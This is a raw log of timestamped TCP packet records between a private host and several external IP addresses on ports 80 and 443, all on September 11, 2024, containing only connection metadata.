Sep 11, 2024 16:22:18.599582911 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599585056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599595070 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599601030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599612951 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599615097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599627972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599630117 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599651098 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599652052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599667072 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599667072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599680901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599690914 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599694967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599704981 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599709988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599719048 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599725008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599736929 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599740982 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599749088 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599754095 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599766970 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599767923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599782944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599782944 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599796057 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599797010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599812031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599817991 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599826097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599831104 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599842072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.599850893 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599865913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.599880934 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.602050066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602063894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602086067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602099895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602108002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.602113962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602129936 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.602138042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602149010 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.602149963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602166891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602169991 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.602181911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.602185965 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.602202892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.602219105 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.604635954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.604651928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.604675055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.604690075 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.604697943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.604705095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.604713917 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.604721069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.604728937 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.604737997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.604752064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.604765892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.604784966 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.611406088 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.646847963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.646863937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.646886110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.646902084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.646917105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.646920919 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.646939039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.646955967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.646956921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.646956921 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.646971941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.646991968 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647073984 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647089958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647124052 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647182941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647196054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647209883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647217035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647228003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647232056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647252083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647265911 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647296906 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647326946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647341967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647351027 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647356987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647367001 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647375107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647398949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647412062 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647416115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647423983 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647433996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647438049 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647449017 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647459984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647464991 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647478104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647481918 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647497892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647514105 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647542000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647555113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647568941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647584915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647591114 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647599936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647607088 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647617102 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647623062 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647634029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647644997 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647650957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647661924 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647666931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647681952 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647700071 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647720098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647737026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647753000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647768974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647774935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647787094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647797108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647820950 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647824049 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647838116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647852898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647859097 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647872925 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647886038 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.647955894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647969961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647985935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.647991896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648000956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648009062 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648020983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648022890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648036957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648039103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648053885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648056030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648070097 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648083925 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648165941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648180962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648211956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648251057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648264885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648281097 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648287058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648297071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648303032 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648313999 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648317099 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648333073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648349047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648360014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648394108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648605108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648617983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648643017 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648657084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648657084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648674011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648688078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648711920 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648711920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648727894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648729086 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648742914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648744106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648760080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648789883 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648808956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648812056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648827076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648827076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648842096 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648844957 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648859978 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648866892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648876905 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648880959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648897886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.648901939 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648922920 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.648938894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649460077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649475098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649487972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649502993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649518013 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649518013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649532080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649547100 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649607897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649630070 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649643898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649643898 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649658918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649661064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649674892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649677992 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649692059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649693966 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649705887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649708986 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649722099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649725914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649744987 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649748087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649758101 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649763107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649779081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649782896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649792910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649796009 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649808884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649811983 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649823904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649830103 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649838924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.649840117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649858952 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649876118 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.649996996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.650012016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.650029898 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.650043011 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.670341015 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.670442104 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.671448946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.671466112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.671487093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.671500921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.671511889 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.671515942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.671530962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.671540022 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.671546936 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.671556950 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.671561956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.671588898 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.671617985 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.672723055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.672765970 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.672772884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.672786951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.672794104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.672804117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.672817945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.672823906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.672827005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.672864914 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.672929049 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.674232006 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.674249887 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.674469948 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:18.674592018 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.674952030 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:18.676731110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.676809072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.676816940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.676831961 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.676839113 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.676853895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.676862955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.676872969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.676904917 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.676975965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677001953 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677011013 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677020073 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.677051067 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.677054882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677062988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677069902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677077055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677092075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677098989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.677113056 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.677150011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677156925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677159071 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.677165031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677171946 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677187920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.677221060 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.677350998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677360058 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677402020 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.677967072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677973986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.677989960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678026915 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678045034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678052902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678059101 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678060055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678075075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678092957 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678118944 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678535938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678544998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678560972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678595066 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678601980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678610086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678617001 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678617001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678625107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678642035 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678677082 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678706884 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678714991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678729057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678735971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678750038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678754091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.678760052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678766966 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.678793907 CEST	49735	80	192.168.2.4	147.45.44.104
